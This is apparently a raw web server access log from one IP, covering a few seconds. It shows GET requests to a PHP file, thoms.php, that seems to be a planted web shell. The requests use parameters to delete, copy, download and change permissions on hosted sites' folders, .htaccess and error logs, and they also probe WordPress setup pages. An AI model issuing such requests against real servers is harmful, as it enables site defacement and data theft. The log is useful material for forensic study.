45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F HTTP/1.1" 200 6640 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fupgrade%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /thoms.php?chmod=ba-guo.com.tw&p= HTTP/1.1" 200 11432 "http://163.245.207.76:443/thoms.php?chmod=ba-guo.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p= HTTP/1.1" 200 11548 "http://163.245.207.76:443/thoms.php?copy=ba-guo.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 200 11433 "http://163.245.207.76:443/thoms.php?chmod=besth2o.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:37 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 11020 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?del=bestjudy.com.tw&p= HTTP/1.1" 200 15907 "http://163.245.207.76:443/thoms.php?del=bestjudy.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 16838 "http://163.245.207.76:443/thoms.php?p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?chmod=broadweb.com.tw&p= HTTP/1.1" 200 11444 "http://163.245.207.76:443/thoms.php?chmod=broadweb.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?dl=mah.php&p= HTTP/1.1" 200 15918 "http://163.245.207.76:443/thoms.php?dl=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 11590 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?del=betcity.com.tw&p= HTTP/1.1" 200 15917 "http://163.245.207.76:443/thoms.php?del=betcity.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?del=bioway88.com.tw&p= HTTP/1.1" 200 15917 "http://163.245.207.76:443/thoms.php?del=bioway88.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?copy=wordpress-6.6.2-zh_TW&p= HTTP/1.1" 200 11599 "http://163.245.207.76:443/thoms.php?copy=wordpress-6.6.2-zh_TW&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?dl=.htaccess&p= HTTP/1.1" 200 15908 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?p= HTTP/1.1" 200 15899 "https://163.245.207.76/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /thoms.php?del=mah.php&p= HTTP/1.1" 200 15908 "http://163.245.207.76:443/thoms.php?del=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:38 -0400] "GET /bfl.com.tw/ HTTP/1.1" 404 20992 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?copy=wp-content&p= HTTP/1.1" 200 11591 "http://163.245.207.76:443/thoms.php?copy=wp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=&view=.htaccess HTTP/1.1" 200 11936 "http://163.245.207.76:443/thoms.php?p=&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17542 "http://163.245.207.76:443/thoms.php?p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17602 "http://163.245.207.76:443/thoms.php?p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 200 16572 "http://163.245.207.76:443/thoms.php?p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?copy=error_log&p= HTTP/1.1" 200 11580 "http://163.245.207.76:443/thoms.php?copy=error_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 15917 "http://163.245.207.76:443/thoms.php?del=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?chmod=wp-content&p= HTTP/1.1" 200 11428 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=&upload= HTTP/1.1" 200 12112 "http://163.245.207.76:443/thoms.php?p=&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /besth2o.com.tw/ HTTP/1.1" 404 6834 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?del=bestzyx.com.tw&p= HTTP/1.1" 200 15917 "http://163.245.207.76:443/thoms.php?del=bestzyx.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=betcity.com.tw HTTP/1.1" 200 17364 "http://163.245.207.76:443/thoms.php?p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17368 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:39 -0400] "GET /thoms.php?p=booking-wise2.com.tw HTTP/1.1" 200 17430 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?del=bogroup.com.tw&p= HTTP/1.1" 200 15917 "http://163.245.207.76:443/thoms.php?del=bogroup.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?chmod=booking-wise2.com.tw&p= HTTP/1.1" 200 11448 "http://163.245.207.76:443/thoms.php?chmod=booking-wise2.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /beauty-dental.com.tw/ HTTP/1.1" 404 12596 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?copy=mah.php&p= HTTP/1.1" 200 11582 "http://163.245.207.76:443/thoms.php?copy=mah.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?copy=thoms.php&p= HTTP/1.1" 200 11586 "http://163.245.207.76:443/thoms.php?copy=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?p= HTTP/1.1" 200 15919 "http://163.245.207.76:443/thoms.php?p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?copy=biotaiwan.com.tw&p= HTTP/1.1" 200 11600 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?copy=broadweb.com.tw&p= HTTP/1.1" 200 11588 "http://163.245.207.76:443/thoms.php?copy=broadweb.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?chmod=error_log&p= HTTP/1.1" 200 11434 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip HTTP/1.1" 200 46321 "http://163.245.207.76:443/thoms.php?p=&view=wordpress-6.6.2-zh_TWPlus.zip" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 200 15919 "http://163.245.207.76:443/thoms.php?del=big-wife.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /thoms.php?del=beauty-dental.com.tw&p= HTTP/1.1" 200 15919 "http://163.245.207.76:443/thoms.php?del=beauty-dental.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:40 -0400] "GET /biotaiwan.com.tw/ HTTP/1.1" 404 8493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?copy=.htaccess&p= HTTP/1.1" 200 11556 "http://163.245.207.76:443/thoms.php?copy=.htaccess&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?p=ba-guo.com.tw HTTP/1.1" 200 17362 "http://163.245.207.76:443/thoms.php?p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?del=besth2o.com.tw&p= HTTP/1.1" 200 15918 "http://163.245.207.76:443/thoms.php?del=besth2o.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 200 11588 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /cgi-bin/ HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?copy=betcity.com.tw&p= HTTP/1.1" 200 11553 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?chmod=bossini.com.tw&p= HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?chmod=bossini.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?p=biotaiwan.com.tw HTTP/1.1" 200 17519 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?del=error_log&p= HTTP/1.1" 200 15918 "http://163.245.207.76:443/thoms.php?del=error_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?del=bodbooks.com.tw&p= HTTP/1.1" 200 15918 "http://163.245.207.76:443/thoms.php?del=bodbooks.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 12846 "http://163.245.207.76:443/thoms.php?p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /upgrade/ HTTP/1.1" 200 6436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:41 -0400] "GET /thoms.php?dl=error_log&p= HTTP/1.1" 200 15916 "http://163.245.207.76:443/thoms.php?dl=error_log&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /wordpress-6.6.2-zh_TW/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?p=&settings=1 HTTP/1.1" 200 11838 "http://163.245.207.76:443/thoms.php?p=&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /bft.com.tw/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /wordpress-6.6.2-zh_TW/wp-admin/setup-config.php HTTP/1.1" 200 1345 "https://163.245.207.76/wordpress-6.6.2-zh_TW/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?copy=bfl.com.tw&p= HTTP/1.1" 200 11599 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?chmod=bodbooks.com.tw&p= HTTP/1.1" 200 11443 "http://163.245.207.76:443/thoms.php?chmod=bodbooks.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /bft.com.tw/wp-admin/setup-config.php HTTP/1.1" 200 4554 "https://163.245.207.76/bft.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?del=booking-wise2.com.tw&p= HTTP/1.1" 200 15918 "http://163.245.207.76:443/thoms.php?del=booking-wise2.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?chmod=cgi-bin&p= HTTP/1.1" 200 11430 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?copy=upgrade&p= HTTP/1.1" 200 11592 "http://163.245.207.76:443/thoms.php?copy=upgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?del=wp-content&p= HTTP/1.1" 200 15918 "http://163.245.207.76:443/thoms.php?del=wp-content&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?chmod=thoms.php&p= HTTP/1.1" 200 11425 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 200 15920 "http://163.245.207.76:443/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 200 15919 "http://163.245.207.76:443/thoms.php?del=biotaiwan.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?del=broadweb.com.tw&p= HTTP/1.1" 200 15917 "http://163.245.207.76:443/thoms.php?del=broadweb.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /thoms.php?copy=beauty-dental.com.tw&p= HTTP/1.1" 200 11552 "http://163.245.207.76:443/thoms.php?copy=beauty-dental.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:42 -0400] "GET /betcity.com.tw/ HTTP/1.1" 404 15320 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17326 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?copy=bodbooks.com.tw&p= HTTP/1.1" 200 11600 "http://163.245.207.76:443/thoms.php?copy=bodbooks.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /bogroup.com.tw/ HTTP/1.1" 404 15865 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?del=upgrade&p= HTTP/1.1" 200 15916 "http://163.245.207.76:443/thoms.php?del=upgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /bestzyx.com.tw/ HTTP/1.1" 404 10462 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?p=upgrade HTTP/1.1" 200 13534 "http://163.245.207.76:443/thoms.php?p=upgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 200 11610 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?p=broadweb.com.tw HTTP/1.1" 200 17385 "http://163.245.207.76:443/thoms.php?p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:34:43 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17380 "http://163.245.207.76:443/thoms.php?p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
